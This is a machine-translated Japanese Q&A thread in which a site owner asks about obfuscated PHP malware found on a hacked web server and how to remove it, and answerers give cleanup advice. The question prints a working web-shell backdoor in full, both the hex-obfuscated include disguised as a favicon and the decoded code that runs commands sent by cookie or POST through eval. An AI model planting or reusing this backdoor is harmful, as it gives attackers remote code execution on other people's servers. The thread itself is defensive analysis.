web-dev-qa-db-ja.com

私のサイトは難読化されたPHPマルウェア-何をしているのか+どうやってそれを取り除くのか?

3つのWebサイトがすべて同じWebサーバーでホストされています。最近、私はWebサイトの1つで作業していて、約1か月前に、多くのファイルが変更されていることに気付きました。具体的には、index.htmlのすべてのインスタンスの名前がindex.html.bak.bakに変更され、index.phpファイルがそれぞれの場所に配置されました。 index.phpファイルは比較的単純です。 JS 16進エンコーディングで難読化された各Webサイトのファイルシステムのどこかに隠されたファイル(ランダムなフォルダーのようです)が含まれ、元のindex.htmlをエコーし​​ます。

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');

ここに含まれているファイルは

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

別のドメインでは、

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

おそらく推測できるように、これらは実際にはファビコンではなく、異なる拡張子を持つ単なるphpファイルです。今、私はこれらのファイルが何をするのか見当もつかない(だから私はここで尋ねているのだ)。それらは完全に難読化されましたが、 https://malwaredecoder.com/ はそれを突破できるようです。 結果はここにあります しかし、以下の難読化解除されたコードを貼り付けました:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];

    }

    cs_plugin_load();
}

さらに、Webサイトのコンテンツフォルダーの1つにinit5.phpというファイルがあり、可能な限り難読化を解除すると、次のようになります。

$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
@>P>r"$,('$66N6rTNj', NULL);
@>P>r"$,('TNjr$66N6"', 0);
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
    $p98c0e = "";

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
    {
        for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
        {
            $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
        }
    }

    return $p98c0e;
}

function la30956($w6f96424, $afb8d)
{
    global $y10a790;

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}

foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)
{
    $w6f96424 = $ua56c9d;
    $s02c4f38 = $afb8d;
}

if (!$w6f96424)
{
    foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
    {
        $w6f96424 = $ua56c9d;
        $s02c4f38 = $afb8d;
    }
}

$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
    if ($w6f96424['3'] == '>')
    {
        $r035e7 = Array(
            '@=' => @@)@=$6">NP(),
            '"=' => 'x%<Fx',
        );
        echo @"$6>3T>a$($r035e7);
    }
    elseif ($w6f96424['3'] == '$')
    {
        eval($w6f96424['`']);
    }

}

もっと難読化されたPHPファイルを見ると、それはちょっと怖いです。tons。 'index.phpファイルは感染しているようです;難読化された@includesが追加されています。さらに、Webサイトの1つに、「ssh」というタイトルのファイルがあります。ファイル(「ssh」プログラム自体ですか?)

誰がこれらが何であるかを知っていますか?彼らはどのようにして私のサーバーに行きましたか?どうすればそれらを取り除き、二度と戻ってこないことを確認できますか?

その他の情報:私のウェブホストはLaughing Squidです。シェルにアクセスできません。サーバーはLinux、Apache 2.4、およびPHP 5.6.29。ありがとうございます!

11
Wilson Biggs

この時点では、サーバー上の何かを信頼することはできません。

  • OSを再インストールする

  • データベースのクリーンバージョンまたは既知の正常なバージョンで、コードの既知の正常なコピーを再インストールします。

この時点では、攻撃者が「何もしない」からシステムレベルのソフトウェアをハッキングされたバージョンに置き換えることまで、あらゆることを行うことができたため、「悪い」ファイルを単に置き換えたり削除したりすることはできません。ほんの一例として、ある時点で誰かが マルウェアをコンパイラに書き込みました ですので、実行可能ファイルが再構築されても、マルウェアはまだそこにあり、デバッガはそれを検出できませんでした。

さまざまなクリーナーを利用できますが、攻撃者mightが行ったすべてを認識/検出/元に戻すことに依存していますが、これは不可能です。

良い毎日のバックアップがあれば、「持っているもの」と「持っているもの」の間にdiffを実行して、何が変わったのかを見ることができますが、データベースを慎重に検査または復元する必要があります多くの攻撃は、コードではなくデータの変更を伴います。

5
Terry Carmen

これと同じマルウェアがありました。マルウェアが追加または変更するファイルは10〜15個あります。 Quttera WordPressプラグイン(無料)を使用してファイルを見つけました。ほとんどのファイルは削除できます(QutteraのIDは実際に感染している以上に注意してください)が、一部のWordPressファイルは変更されており、交換する必要があります。

1
Zach

これは、サイトやサーバーを破壊するために必要なハックではありません。これは単なるphpハックです。悪意のあるphpファイルとコードをすべて削除してください。これが私がdrupalでどのようにしたかです。 http://rankinstudio.com/Drupal_ico_index_hack

1
Rankinstudio

同じ問題がありました。悪意のあるhttp投稿リクエストが原因です。これを止める方法についての良い記事があります:

.htaccessファイルの次は、すべての投稿要求を停止します。 https://perishablepress.com/protect-post-requests/

# deny all POST requests
<IfModule mod_rewrite.c>
        RewriteCond %{REQUEST_METHOD} POST
        RewriteRule .* - [F,L]
</IfModule>
0
summars

サーバーツリー全体をスキャンし、すべてのディレクトリパスを一覧表示するスクリプトを1つPHPスクリプトを作成しなければなりませんでした。感染についてこれらのパスをスキャンします。掃除。

注:
それは不十分に書かれており、おそらく使用後に削除する必要があります。しかし、それは私を助けました。

Zip形式のコピーは here です。
保証なし。解凍してから、アップロードする前にサーバーに置いたものを見てください!

更新:よりきれいになりました(すべてではありません!)。手で洗浄してください(以下を参照)。

0
user2528858